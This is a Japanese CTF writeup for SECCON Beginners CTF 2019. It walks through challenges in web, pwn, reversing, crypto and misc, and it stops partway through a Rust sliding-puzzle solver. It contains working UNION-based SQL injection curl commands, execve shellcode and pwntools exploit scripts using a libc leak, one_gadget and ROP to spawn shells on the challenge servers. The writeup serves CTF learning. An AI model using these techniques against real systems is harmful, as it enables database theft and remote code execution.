SECCON Beginners CTF 2019 writeup

Beginners CTF 2019

2891 points 24th place

初心者向けらしいので出てみた。 Webが解けなさすぎるっぽいのでなんとかしたい。

Web: [warmup] Ramen

なぜかラーメン店員を検索できるWebページに隠されたフラグを探す。名前の部分文字列でヒットするので、SQLのLIKEで取ってきてるのかな。これはいわゆるあの有名なSQLインジェクションをしろと言うことなのか?

まあ普段何気なしに使っている言葉でも正直実際にやったことはなかったんで試行錯誤結構大変だった。まずクエリを通すのが初心者には結構難しかった。変なクエリを入れると、Uncaught Error: Call to a member function fetchAll() on boolean in /var/www/web/public/index.php:11 とかのメッセージが返ってくるので、PHPなのかと思った。

おそらく SELECT ??, ?? FROM ?? WHERE ?? LIKE '$query' ... のように書いてあるのだろうか?なんとなく後半をコメントアウトすれば いい加減に通るのかなとか思っていたのだけど、カンマの対応がちゃんと付いていないと受け付けてくれないみたいで、それとテーブル名とカラム名はちゃんと存在するものを入れないとfetchAll()がコケるらしかった。

それで、SQLインジェクションではUNIONを使って列を無理矢理追加するのが定石らしいので、とりあえず ' UNION SELECT 'hoge', 'moge'; --' とかやると、ラーメン店員にスマホ太郎を紛れ込ませることに成功した。

f:id:tanakh:20190527023647p:plain

バックエンドが何かよく分からなかったので、でもまあこれはsqliteかpostgresかmysqlかしかないと思うので、それらを区別できそうなものを頑張ってインターネットで調べると、MySQLらしいということが分かった。なので、MySQLでテーブルを列挙できるSQLクエリを調べて、

$ curl -X POST "https://ramen.quals.beginners.seccon.jp/?username=' union SELECT table_name,table_rows from information_schema.tables;  -- '"   

こういうクエリを投げてみると、テーブル一覧がだだーっと流れてきた。その中に flag というのがあったので、多分これがそうなんだろう。ちなみにtable_rows も表示させてみたのだが、これが0になっている。members というテーブルもあって、これは3人いるはずなのに、これのtable_rowsは2になっていたので、数え方がなぜか0オリジンなのだろうか。

テーブル名が分かったので、つぎにどういうカラムがあるのかを調べるクエリを投げる。

$ curl -X POST "https://ramen.quals.beginners.seccon.jp/?username=' union SELECT column_name, column_type from information_schema.columns where table_name='flag';  -- '"

flag というテーブルの flag というカラムに多分フラグが入っていることが分かった。なので、最終的に次のようなクエリでフラグが得られた。

curl -X POST "https://ramen.quals.beginners.seccon.jp/?username=' union SELECT flag,flag from flag;  -- '"

得られたフラグは ctf4b{a_simple_sql_injection_with_union_select}

ふーむこれがこういう系で一番シンプルな感じなのかなあと思った。

Pwnable: [warmup] shellcoder

とりあえず与えられたバイナリを逆コンパイルしてみる。

undefined8 main(void)

{
  code *__buf;
  char *pcVar1;
  
  __buf = (code *)mmap((void *)0x0,0x1000,7,0x21,-1,0);
  puts("Are you shellcoder?");
  read(0,__buf,0x28);
  pcVar1 = strchr((char *)__buf,0x62); // b
  if (pcVar1 == (char *)0x0) {
    pcVar1 = strchr((char *)__buf,0x69); // i
    if (pcVar1 == (char *)0x0) {
      pcVar1 = strchr((char *)__buf,0x6e); // n
      if (pcVar1 == (char *)0x0) {
        pcVar1 = strchr((char *)__buf,0x73); // s
        if (pcVar1 == (char *)0x0) {
          pcVar1 = strchr((char *)__buf,0x68); // h
          if (pcVar1 == (char *)0x0) {
            (*__buf)();
            return 0;
          }
        }
      }
    }
  }
  puts("Payload contains invalid character!!");
                    /* WARNING: Subroutine does not return */
  _exit(0);
}

送りつけたデータに binsh のいずれかの文字が含まれていなければそれを実行してくれるプログラムらしい。プログラム中にそれらしき文字列も含まれていないし、そういうバイトが含まれないように自力でexecveを呼び出す0x28バイト以内のコード書くのめんどくさそうだなあ・・・と思ったら、インターネットに落ちてたコードを拾ってきたらそのまま動いてしまった。なのでそれをpwntoolsで送りつけて終了。

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

io = remote('153.120.129.186', 20000)

asms = """
    xor eax, eax
    mov rbx, 0xFF978CD091969DD1
    neg rbx
    push rbx
    push rsp
    pop rdi
    cdq
    push rdx
    push rdi
    push rsp
    pop rsi
    mov al, 0x3b
    syscall
"""

bin = asm(asms)

io.recv()
io.send(bin)
io.interactive()

フラグは ctf4b{Byp4ss_us!ng6_X0R_3nc0de}。 なるほどxorしてバイパスしろという趣旨の問題だったのか。

Pwnable: OneLine

これもとりあえず逆コンパイル

undefined8 main(void)
{
  void *__buf;
  ulong uVar1;
  
  __buf = calloc(0x28,1);
  *(code **)((long)__buf + 0x20) = write;
  printf("You can input text here!\n>> ");
  read(0,__buf,0x28);
  (**(code **)((long)__buf + 0x20))(1,__buf,0x28,__buf);
  printf("Once more again!\n>> ");
  uVar1 = read(0,__buf,0x28);
  (**(code **)((long)__buf + 0x20))(1,__buf,uVar1 & 0xffffffff,__buf);
  return 0;
}

バッファの0x20~0x28バイト目にwriteのポインタを書き込んで、それをバッファのポインタを引数に呼び出すコードになっているので、0x20バイトの所に呼び出したい関数のアドレスを、0x00~0x20のところにデータを書き込めば良さそう。

しかもご親切に2回readしてくれるプログラムだ。なおかつ1回目は読んだバイト数ではなく、ポインタまで含めた領域をwriteしているので、1回目で何か適当に短いクエリを投げればwriteのポインタが勝手に降ってくる。これでlibのベースアドレスを求めて、2回目でsystem を呼び出せば良さそうだ。

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

io = remote('153.120.129.186', 10000)

elf = ELF('oneline')
libc = ELF('libc-2.27.so')

io.recv()

io.send(cyclic(0x20))

io.recv(0x20)

write_libc = u64(io.recv(8))
libc_base = write_libc - libc.symbols['write']
system_addr = libc_base + libc.symbols['system']

io.recv()

io.send(b"/bin/sh" + b'\x00' * (0x20 - 7) + p64(libc_base + system_addr))
io.interactive()

ところが、なぜかこれはSIGSEGVで動かなかった(なんでだろう)。

しかたがないので別のガジェットが使えないかとone_gadgetというツールでlibを調べると、

$ one_gadget libc-2.27.so 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

こんなのが見つかったので、これの2個目を使うとうまく行った。

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

io = remote('153.120.129.186', 10000)

elf = ELF('oneline')
libc = ELF('libc-2.27.so')

io.recv()

io.send(cyclic(0x20))

io.recv(0x20)

write_libc = u64(io.recv(8))
libc_base = write_libc - libc.symbols['write']

io.recv()
io.send(b'\x00' * 0x20 + p64(libc_base + 0x4f322))

io.interactive()

フラグは ctf4b{0v3rwr!t3_Func7!on_p0int3r}

関数ポインタを上書きするだけでは上手くいかなかった理由は後で調べておきたい。あとなぜこの問題one lineという名前なんだろう。二回読んでいるのに。

Pwnable: memo

またまたとりあえず逆コンパイル

int main(void)
{
  FILE *__stream;
  char *pcVar1;
  long lVar2;
  undefined8 uStack96;
  char local_58 [8];
  undefined auStack80 [56];
  undefined *local_18;
  uint local_c;
  
  do {
    uStack96 = 0x4006fb;
    printf("Input size : ");
    uStack96 = 0x400713;
    pcVar1 = fgets(local_58,0x40,stdin);
    if (pcVar1 == (char *)0x0) {
      return 0xffffffff;
    }
    uStack96 = 0x40072e;
    local_c = atoi(local_58);
  } while (local_c < 0x20);

  lVar2 = SUB168((ZEXT816(0) << 0x40 | ZEXT816((long)(int)local_c + 0x1e)) / ZEXT816(0x10),0);
  local_18 = auStack80 + lVar2 * -0x10;
  (&uStack96)[lVar2 * 0x1ffffffffffffffe] = 0x400786;

  printf("Input Content : ");
  __stream = stdin;
  (&uStack96)[lVar2 * 0x1ffffffffffffffe] = 0x40079e;
  fgets(local_18,0x20,__stream,*(undefined *)(&uStack96 + lVar2 * 0x1ffffffffffffffe));
  (&uStack96)[lVar2 * 0x1ffffffffffffffe] = 0x4007b6;
  printf("Your Content : %s\n",local_18);
  return 0;
}

やっているコードはだいぶ謎だし、うまくC言語マッピングできなくてだいぶ変なことになっちゃってる。途中でスタックポインタをいじってるので、スタック読み書きのコードも読みづらくなってる。この辺は素直にアセンブリ読んだ方がわかりやすかったので、Cとアセンブリ両方参考にしながら解読した結果、要するに、

  • 最初に0x20より大きな整数を入力させて
  • RSP -= (その整数+0x1e) / 0x10 * 0x10 して
  • fgets(RSP, 0x20, stdin) をする

なんでサイズを入力させてから固定の長さのfgetsをするのかとか、この切り上げ処理微妙に切り上げになって無くないかとか思ったり、よく分からないところは残ったが、この問題のキモは、最初の整数の入力の時に、符号無しでサイズの比較をやってしまっているので、負の数が入力出来てしまうという所だろう。

負の数が入力出来てしまうと言うことによって、RSPを引き算してmainのリターンアドレスを壊せないという安全設計(?)が、逆に足し算してピンポイントで破壊できるようになってしまっている。

0x10で切り上げているので、RSPの足し引きは0x10の倍数でしか行えない。このmain関数はスタックを0x50バイト使っているので、RSPを0x50足してやれば、fgetsで書き込むバッファーのちょうど8バイト目から16バイト目がmainのリターンアドレスになるように持ってこれる。かつ16バイトほど余計にデータを書き込むことができる。

式から逆算すれば、最初に入力する数を -95 から -110 の値にすることで、RSPに足す値を0x50にできる。

バイナリ中には、おあつらえ向きに

void hidden(void)
{
  system("sh");
  exit(0);
}

という関数が隠されているので、リターンアドレスここにしてやれば良さそうだ。

が、これをそのまま読んでやるとSEGVしてしまって上手く動かない。

gdbでめっちゃ頑張って追っていくと、system関数のgotエントリの遅延バインディングを行う部分のコードで落ちていることが分かって、落ちている理由はSSEのmovaps命令のアライメントがおかしいだからだと。ええ・・・。

movapsでアクセスしているアドレスはRSP依存で、ここが呼び出される前にあらかじめ16バイトアライメントに揃っていないと死ぬみたいだ。使う側がアラインしなくて良いんですかね・・・?よく分からない。

よく分からないけどそういうことなら8バイトRSPをずらしてやれば良いので、直でhidden関数に飛ぶのではなくて、どこでもいいからret命令に飛べば、単に8バイトスタックがずらせる。

from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

io = remote('133.242.68.223', 35285)
elf = ELF('./memo')

io.recv()

# -95 ~ -110
io.sendline('-104')

io.recv()

rop = ROP('./memo')
rop.call(0x0040085c)
rop.call('hidden')

io.sendline(b'\x00'*8 + rop.chain())
io.interactive()

フラグは ctf4b{h4ckn3y3d_574ck_b0f} 。 どういう意味なんだろう・・・?

Reversing: [warmup] Seccompare

とりあえず逆コンパイル

undefined8 main(int iParm1,undefined8 *puParm2)
{
  /// ...

  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  if (iParm1 < 2) {
    printf("usage: %s flag\n",*puParm2);
    uVar2 = 1;
  }
  else {
    local_38 = 'c';
    local_37 = 0x74;
    local_36 = 0x66;
    local_35 = 0x34;
    local_34 = 0x62;
    local_33 = 0x7b;
    local_32 = 0x35;
    local_31 = 0x74;
    local_30 = 0x72;
    local_2f = 0x31;
    local_2e = 0x6e;
    local_2d = 0x67;
    local_2c = 0x73;
    local_2b = 0x5f;
    local_2a = 0x31;
    local_29 = 0x73;
    local_28 = 0x5f;
    local_27 = 0x6e;
    local_26 = 0x30;
    local_25 = 0x74;
    local_24 = 0x5f;
    local_23 = 0x65;
    local_22 = 0x6e;
    local_21 = 0x30;
    local_20 = 0x75;
    local_1f = 0x67;
    local_1e = 0x68;
    local_1d = 0x7d;
    local_1c = 0;
    iVar1 = strcmp(&local_38,(char *)puParm2[1]);
    if (iVar1 == 0) {
      puts("correct");
    }
    else {
      puts("wrong");
    }
    uVar2 = 0;
  }
  // ...
}

単に文字列比較してるだけなのでとても簡単。

フラグは ctf4b{5tr1ngs_1s_n0t_en0ugh}。そりゃそうですね。

Reversing: Leakage

コンパイル

undefined8 main(int iParm1,undefined8 *puParm2)
{
  int iVar1;
  undefined8 uVar2;
  
  if (iParm1 < 2) {
    printf("usage: %s flag\n",*puParm2);
    uVar2 = 1;
  }
  else {
    iVar1 = is_correct(puParm2[1]);
    if (iVar1 == 0) {
      puts("wrong");
    }
    else {
      puts("correct");
    }
    uVar2 = 0;
  }
  return uVar2;
}

is_correct という関数でチェックしているらしい。

undefined8 is_correct(char *pcParm1)
{
  char cVar1;
  size_t sVar2;
  undefined8 uVar3;
  int local_c;
  
  sVar2 = strlen(pcParm1);
  if (sVar2 == 0x22) {
    local_c = 0;
    while (local_c < 0x22) {
      cVar1 = convert((ulong)(byte)enc_flag[(long)local_c]);
      if (cVar1 != pcParm1[(long)local_c]) {
        return 0;
      }
      local_c = local_c + 1;
    }
    uVar3 = 1;
  }
  else {
    uVar3 = 0;
  }
  return uVar3;
}

長さは0x22、convertという関数で1文字ずつあらかじめ埋め込まれているエンコード済みフラグをデコードして比較しているようだ。

ulong convert(byte bParm1)
{
  // ...
  
  local_cc = 10;
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  local_d8 = s.2160._20_4_;
  local_dc = s.2160._44_4_;
  uVar17 = s.2160._0_4_;
  uVar15 = s.2160._4_4_;
  uVar14 = s.2160._12_4_;
  uVar5 = s.2160._16_4_;
  uVar19 = s.2160._28_4_;
  uVar7 = s.2160._32_4_;
  uVar16 = s.2160._40_4_;
  uVar6 = s.2160._56_4_;
  uVar4 = s.2160._48_4_;
  uVar18 = s.2160._60_4_;
  uVar12 = s.2160._8_4_;
  uVar10 = s.2160._24_4_;
  uVar13 = s.2160._36_4_;
  uVar9 = s.2160._52_4_;
  do {
    uVar4 = uVar4 ^ uVar17 + uVar5;
    uVar6 = uVar6 ^ uVar12 + uVar10;
    uVar4 = uVar4 << 0x10 | uVar4 >> 0x10;
    uVar6 = uVar6 << 0x10 | uVar6 >> 0x10;
    uVar7 = uVar7 + uVar4;
    uVar16 = uVar16 + uVar6;
    uVar8 = uVar5 ^ uVar7;
    uVar11 = uVar10 ^ uVar16;
    uVar8 = uVar8 << 0xc | uVar8 >> 0x14;
    uVar11 = uVar11 << 0xc | uVar11 >> 0x14;
    uVar17 = uVar17 + uVar5 + uVar8;
    uVar12 = uVar12 + uVar10 + uVar11;
    uVar4 = uVar4 ^ uVar17;
    uVar6 = uVar6 ^ uVar12;
    uVar5 = uVar4 << 8 | uVar4 >> 0x18;
    uVar6 = uVar6 << 8 | uVar6 >> 0x18;
    uVar7 = uVar7 + uVar5;
    uVar8 = uVar8 ^ uVar7;
    uVar8 = uVar8 << 7 | uVar8 >> 0x19;
    uVar9 = uVar9 ^ uVar15 + local_d8;
    uVar10 = uVar9 << 0x10 | uVar9 >> 0x10;
    uVar13 = uVar13 + uVar10;
    uVar4 = local_d8 ^ uVar13;
    uVar4 = uVar4 << 0xc | uVar4 >> 0x14;
    uVar15 = uVar15 + local_d8 + uVar4;
    uVar10 = uVar10 ^ uVar15;
    // ......

ウワァァァ。

しかしまあ、is_correct関数内で0を返す瞬間には正しい文字がレジスタ上に存在しているはずなので、ブレークポイントを仕掛けてやれば、先頭から一文字ずつ正解を確定させて行くことはできそうだ。

そして出てきたフラグは ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}

Reversing: Linear Operation

今回一番苦労したのがこれ。

とりあえずmainの逆コンパイル

undefined8 main(void)
{
  int iVar1;
  long in_FS_OFFSET;
  undefined8 local_58;
  undefined8 local_50;
  undefined8 local_48;
  undefined8 local_40;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_58 = 0;
  local_50 = 0;
  local_48 = 0;
  local_40 = 0;
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  printf("input flag : ");
  __isoc99_scanf(&DAT_0040d042,&local_58);
  iVar1 = is_correct(&local_58);
  if (iVar1 == 0) {
    puts("wrong");
  }
  else {
    puts("correct");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

で、is_correct 関数なんだが、これがめちゃくちゃでかい。でかすぎてなかなか逆コンパイルが終わらない。

そして出てきたのがこれ。

これを頑張って読むと、基本的には

(bVar2 = pbParm1[0x13] << 4 | pbParm1[0x13] >> 4,
 bVar2 = (byte)(((uint)bVar2 & 0x3ffffff3) << 2) |
                (byte)((int)(uint)bVar2 >> 2) & 0x33,
 ((ulong)(byte)(
     (bVar2 * 2 & 0xaa | (byte)((int)(uint)bVar2 >> 1) & 0x55) ^
       pbParm1[3]) ^ 0x11) * 0x22 == 0x1276))) &&

こういう式が大量に&&で繋げられたものだと言うことが分かる。そして、そのうちの

(bVar2 = pbParm1[0x13] << 4 | pbParm1[0x13] >> 4,
 bVar2 = (byte)(((uint)bVar2 & 0x3ffffff3) << 2) |
                (byte)((int)(uint)bVar2 >> 2) & 0x33,
 ...
     (bVar2 * 2 & 0xaa | (byte)((int)(uint)bVar2 >> 1) & 0x55)
...

この部分は、要するに特定の文字のビット順を逆にしている処理だと分かる。

なので、結局 is_correct がやっている処理は、

bit_reverse(s[i]) (+|*|^) s[j] == C

のような処理だと分かる(定数を畳み込んで簡約すると)。

まずここまででものすごく大変だったが、つぎに、これをなんとかして実際のプログラムから抽出しなければならない。定数部分まで入れると式の形に案外バリエーションがあるのと、逆コンパイラが一貫した形の式を出してくれているわけではないので、簡単な正規表現だと難しそうだった。

なので、今回はHaskellのパターンマッチで簡約化することにした。language-cパッケージでパーズして、それを今回のコードに必要なASTだけパターンマッチを書いて、いいかげんにトラバースする。そうしてできたのがこれ。

書いてて思ったのだが、language-cは、こういったいいかげんな処理を書くのはめちゃくちゃ面倒だ。

で、これに元のでかいコードを食わせてやると、

こんな感じの、見違えるほど綺麗なコードが出てくる。f_addとかの関数は先ほどの制約式で、

ulong f_add(ulong a, ulong b, ulong c) {
    return a + b == c;
}
ulong f_mul(ulong a, ulong b, ulong c) {
    return a * b == c;
}
ulong f_xor(ulong a, ulong b, ulong c) {
    return a ^ b == c;
}

こんな定義になっている。で、ようやくis_correctの全貌が明らかになったので、これを満たすデータを探す。単純な制約式なので、制約ソルバーに解かせよう。z3の出番だ。

まず、簡約化されたプログラムを適当にいじって、条件だけ抜き出したデータを作る。

これを読んで先頭部分の文字の制約と合わせて、制約を組み立ててSMTソルバーに食わせるコードを書く。

そして実行する!

答えが出てくる!

いや、長い道のりだった。大変だたけど、フラグが出てきた瞬間は何ともいえないすがすがしい気分になれた。

出てきたフラグは、ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}

いやあ、そうですよね。やってることは要するにそういうことなので、シンボリック実行でできないはずがない。しかしシンボリック実行フレームワークよく知らないので、なんか自力でやることになってしまった。その辺使えるようにしておきたい。

Reversing: SecconPass

とりあえず逆コンパイルすると、C++っぽいコードが出てきた。この問題のコンセプトはそういうアレなんだろうか。

void main(void)
{
  bool bVar1;
  int iVar2;
  basic_ostream *this;
  ulong uVar3;
  Entry *this_00;
  ulong uVar4;
  long lVar5;
  long in_FS_OFFSET;
  int local_138;
  int local_134;
  int local_130;
  int local_12c;
  undefined8 local_128;
  undefined8 local_120;
  undefined8 local_118;
  FILE *local_110;
  basic_string local_108 [32];
  basic_string local_e8 [32];
  basic_string local_c8 [32];
  basic_string local_a8 [32];
  basic_string local_88 [32];
  Entry local_68 [72];
  undefined8 local_20;
  
  local_20 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  basic_string();
  local_138 = 0;
                    /* try { // try from 001019ca to 00101a70 has its CatchHandler @ 00101f99 */
  local_110 = fopen("/dev/urandom","rb");
  if (local_110 == (FILE *)0x0) {
    this = operator<<<std--char_traits<char>>
                     ((basic_ostream *)__TMC_END__,"Error open /dev/urandom");
    operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>)
    ;
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  fread(&local_138,8,1,local_110);
  operator<<<std--char_traits<char>>
            ((basic_ostream *)__TMC_END__,"****************\n** SecconPass **\n****************\n");
  do {
    while( true ) {
      while( true ) {
        operator<<<std--char_traits<char>>((basic_ostream *)__TMC_END__,"Action: ");
        operator>><char,std--char_traits<char>,std--allocator<char>>((basic_istream *)cin,local_108)
        ;
                    /* try { // try from 00101a85 to 00101a89 has its CatchHandler @ 00101dfe */
        local_134 = stoi(local_108,(ulong *)0x0,10);
        if (local_134 != 1) break;
                    /* try { // try from 00101c3c to 00101c56 has its CatchHandler @ 00101f99 */
        operator<<<std--char_traits<char>>((basic_ostream *)__TMC_END__,"Index: ");
        operator>><char,std--char_traits<char>,std--allocator<char>>((basic_istream *)cin,local_108)
        ;
                    /* try { // try from 00101c6b to 00101cdf has its CatchHandler @ 00101eaa */
        local_12c = stoi(local_108,(ulong *)0x0,10);
        if ((local_12c < 0) ||
           (uVar4 = SEXT48(local_12c), uVar3 = size((vector<Entry,std--allocator<Entry>> *)ve),
           uVar3 <= uVar4)) {
          bVar1 = false;
        }
        else {
          bVar1 = true;
        }
        if (bVar1) {
          this_00 = (Entry *)operator[]((vector<Entry,std--allocator<Entry>> *)ve,(long)local_12c);
          show(this_00);
        }
        else {
          operator<<<std--char_traits<char>>((basic_ostream *)__TMC_END__,"Invalid index\n");
        }
      }
      if (1 < local_134) break;
      if (local_134 == 0) {
        basic_string();
        basic_string();
                    /* try { // try from 00101af0 to 00101b86 has its CatchHandler @ 00101e84 */
        operator<<<std--char_traits<char>>((basic_ostream *)__TMC_END__,"ID: ");
        operator>><char,std--char_traits<char>,std--allocator<char>>((basic_istream *)cin,local_e8);
        operator<<<std--char_traits<char>>((basic_ostream *)__TMC_END__,"PASS: ");
        operator>><char,std--char_traits<char>,std--allocator<char>>((basic_istream *)cin,local_c8);
        uVar3 = length();
        iVar2 = local_138;
        if (uVar3 < 0x14) {
          operator<<<std--char_traits<char>>((basic_ostream *)__TMC_END__,"Too short!!\n");
        }
        else {
          basic_string(local_88);
                    /* try { // try from 00101b9b to 00101b9f has its CatchHandler @ 00101e62 */
          basic_string(local_a8);
                    /* try { // try from 00101bb4 to 00101bb8 has its CatchHandler @ 00101e4e */
          Entry(local_68,(basic_string)0x58,(basic_string)0x78,iVar2);
          ~basic_string((basic_string<char,std--char_traits<char>,std--allocator<char>> *)local_a8);
          ~basic_string((basic_string<char,std--char_traits<char>,std--allocator<char>> *)local_88);
                    /* try { // try from 00101be2 to 00101be6 has its CatchHandler @ 00101e73 */
          push_back((vector<Entry,std--allocator<Entry>> *)ve,local_68);
          ~Entry(local_68);
        }
        ~basic_string((basic_string<char,std--char_traits<char>,std--allocator<char>> *)local_c8);
        ~basic_string((basic_string<char,std--char_traits<char>,std--allocator<char>> *)local_e8);
      }
      else {
LAB_00101de5:
                    /* try { // try from 00101df3 to 00101df7 has its CatchHandler @ 00101f99 */
        operator<<<std--char_traits<char>>((basic_ostream *)__TMC_END__,"Invalid action\n");
      }
    }
    if (local_134 != 2) {
      if (local_134 == 3) {
                    /* WARNING: Subroutine does not return */
        exit(0);
      }
      goto LAB_00101de5;
    }
                    /* try { // try from 00101cf3 to 00101d0d has its CatchHandler @ 00101f99 */
    operator<<<std--char_traits<char>>((basic_ostream *)__TMC_END__,"Index: ");
    operator>><char,std--char_traits<char>,std--allocator<char>>((basic_istream *)cin,local_108);
                    /* try { // try from 00101d22 to 00101dd8 has its CatchHandler @ 00101f23 */
    local_130 = stoi(local_108,(ulong *)0x0,10);
    if ((local_130 < 0) ||
       (uVar4 = SEXT48(local_130), uVar3 = size((vector<Entry,std--allocator<Entry>> *)ve),
       uVar3 <= uVar4)) {
      bVar1 = false;
    }
    else {
      bVar1 = true;
    }
    if (bVar1) {
      lVar5 = (long)local_130;
      local_128 = begin((vector<Entry,std--allocator<Entry>> *)ve);
      local_120 = operator+((__normal_iterator<Entry*,std--vector<Entry,std--allocator<Entry>>> *)
                            &local_128,lVar5);
      __normal_iterator<Entry*>
                ((__normal_iterator<Entry_const*,std--vector<Entry,std--allocator<Entry>>> *)
                 &local_118,(__normal_iterator *)&local_120);
      erase((vector<Entry,std--allocator<Entry>> *)ve,SUB81(local_118,0));
    }
    else {
      operator<<<std--char_traits<char>>((basic_ostream *)__TMC_END__,"Invalid index\n");
    }
  } while( true );
}

読んだ感じ、コマンド0で検索、コマンド1でエントリ追加、コマンド2でエントリ削除、コマンド3で終了と言った感じだ。このままだとどこにもフラグは現われないしフラグの判定をしているところもない。

エントリで入力されたパスはEntry::encrypt()という関数で暗号化されて保存される。

void encrypt(int param_1)
{
  long lVar1;
  byte *pbVar2;
  undefined4 in_register_0000003c;
  long lVar3;
  int local_1c;
  
  lVar3 = CONCAT44(in_register_0000003c,param_1);
  local_1c = 0;
  while( true ) {
    lVar1 = length();
    if (lVar1 - 4U <= (ulong)(long)local_1c) break;
    pbVar2 = (byte *)operator[]((basic_string<char,std--char_traits<char>,std--allocator<char>> *)
                                (lVar3 + 0x20),(long)local_1c);
    *pbVar2 = *(byte *)(lVar3 + 0x43) ^ *pbVar2;
    pbVar2 = (byte *)operator[]((basic_string<char,std--char_traits<char>,std--allocator<char>> *)
                                (lVar3 + 0x20),(long)(local_1c + 1));
    *pbVar2 = *(byte *)(lVar3 + 0x41) ^ *pbVar2;
    pbVar2 = (byte *)operator[]((basic_string<char,std--char_traits<char>,std--allocator<char>> *)
                                (lVar3 + 0x20),(long)(local_1c + 2));
    *pbVar2 = *(byte *)(lVar3 + 0x43) ^ *pbVar2;
    pbVar2 = (byte *)operator[]((basic_string<char,std--char_traits<char>,std--allocator<char>> *)
                                (lVar3 + 0x20),(long)(local_1c + 3));
    *pbVar2 = *(byte *)(lVar3 + 0x41) ^ *pbVar2;
    local_1c = local_1c + 4;
  }
  return;
}

要するに何をやっているのかというと、byte型2要素のキーによって、単に文字毎に s[i] ^= key[i%2] としてxorを掛けているだけのようだ。

バイナリを覗くと、なんか変なエンコードされた文字列のようなものがあって、これがどこで使われているのか調べてみると、destructor() というところで使われていた。これはプログラム終了時に呼び出されるが、この中で、なぜかこれを引数にしたエントリが登録されて、すぐに削除されている。なんのためにこんなことをしているのかは分からない。

よく分からないが、要するにこれはエンコードされた文字列だということなのだろうか。とりあえず先頭付近のデータを "ctf4b"とxorすると、なんとなくそう言う感じっぽかったので、先頭2文字のキーで全体をxorしたらなんとなくフラグっぽいものが出てきた。

出てきたフラグは ctf4b{Impl3m3nt3d_By_Cp1u5p1u5Z

なんか後ろの方が壊れている・・・が問題自体が壊れていたらしいのでこれでOKみたいだ。C++で実装されたコード・・・とはいえなんかイマイチ趣旨がよく分からなかったしこれで良かったのだろうか?

Crypto: [warmup] So Tierd

base64っぽい入力が与えられるので、デコードするとzlib compressed dataが出てくる。zlib compressed dataをdecompressすると今度はbase64が出てくる。そしてまたそれをデコードするとzlib compressed dataが出てきて、それを繰り返していくと最終的にフラグが出てきた。

Crypto: Party

フラグを暗号化するPythonプログラムと暗号化されたフラグが貰えるので、元のフラグを求める問題。

暗号化プログラムでは乱数を5個作ってて、それとフラグを合わせた6つの整数をflag, a, b, x, y, zとすると、x, y, z, flag+a*x+b*x^2, flag+a*y+b*y^2, flag+a*z+b*z^2 の整数が与えられるので、変数6つに式が6個あるのでまあ理屈としては普通に解ける。

解けるはずだけど考えるのはめんどかったので、SMTソルバーに解いてもらうことにした。

import Data.SBV

[(x, fx), (y, fy), (z, fz)] = <input data...>

main :: IO ()
main = print =<< sat problem

problem :: Symbolic ()
problem = do
    flag <- sInteger "flag"
    a <- sInteger "a"
    b <- sInteger "b"

    constrain $ fx .== flag+a*x+b*x^2
    constrain $ fy .== flag+a*y+b*y^2
    constrain $ fz .== flag+a*z+b*z^2

式を書くだけですんなりといてくれてもう自分で何も考えられなくなる。

出てきたフラグは ctf4b{just_d0ing_sh4mir}。 なんかそういうのがあるんですかね・・・。

Misc: [warmup] Welcome

公式IRCチャンネルに繋ぐだけのやつ。

Misc: containers

与えられたファイルにを覗くとめっちゃ沢山PNGがそのまま入ってるように見えたので、binwalkで切り出してみると、文字が書かれたファイルが一杯出てきた。それを繋げるとフラグになった。

ctf4b{e52df60c058746a66e4ac4f34db6fc81}

どういう意味なんだろうか。

Misc: Dump

pcapのダンプと思しきファイルが与えられるので覗いてみると、webshellというやつでhexdumpでファイルを覗いてるっぽいのが出てくる。hexdumpの引数調べてどういうフォーマットで出てるのか調べてデコードすると、tar.gzファイルが出てきて、それを解答するととても爽やかな写真のjpgファイルにフラグが書かれていた。

フラグは ctf4b{hexdump_is_very_useful}。 それは知ってる。

Misc: Sliding puzzle

指定されたサーバーに繋ぐと、こんな感じの

----------------
|  0 |  2 |  3 |
|  6 |  7 |  1 |
|  8 |  4 |  5 |
----------------

8パズルの問題がたくさん降ってくるのでこれを解けという問題。手順は0 : 上、1 : 右、2 : 下、3 : 左でエンコードする。

やることはっきりしていて、8パズルは盤面数高々9!しかないからBFSで一瞬とわかるし別に難しい訳ではないから、まともな問題?の中ではこれが一番簡単な気がする。

探索なのでRustで書いた。このぐらいの規模なら別にPythonで書いてもそんなに時間は食わない気はする。でもPythonはよく分からないから凝ったコードを書きたくなかった。

ソケット周りのコードがやっぱりどうしてもちょっとめんどくさくなるので、探索だけRustで書いて、通信部分はPythonのpwntoolsで書いて、Rustのプロセスを読んでも良かった気もする。でもまあ、これぐらいならたいしたことは無いからどっちでもいい気はする。あとRustでいい加減に通信まわりのコードを書けるようなライブラリがあったりするとこういうのやるのに良いのかなあとも思った。

use std::io::{Write, Read};
use std::net::*;

fn main() -> Result<(), Box<std::error::Error>> {
    let mut stream = TcpStream::connect("133.242.50.201:24912")?;

    loop {
        let mut buf = vec![0; 1024];
        let len = stream.read(&mut buf)?;
        let s = String::from_utf8(buf[0..len].to_owned())?;

        print!("{}", s);

        let v = s
            .chars()
            .map(|c| if c.is_ascii_digit() { c } else { ' ' })
            .collect::<String>()
            .split_whitespace()
            .map(|w| w.parse::<u32>().unwrap())
            .collect::<Vec<_>>();

        println!("{:?}", v);

        let ans = solve(&v);
        let ans = ans.iter().map(|i| format!("{}", i)).collect::<Vec<_>>().join(",");
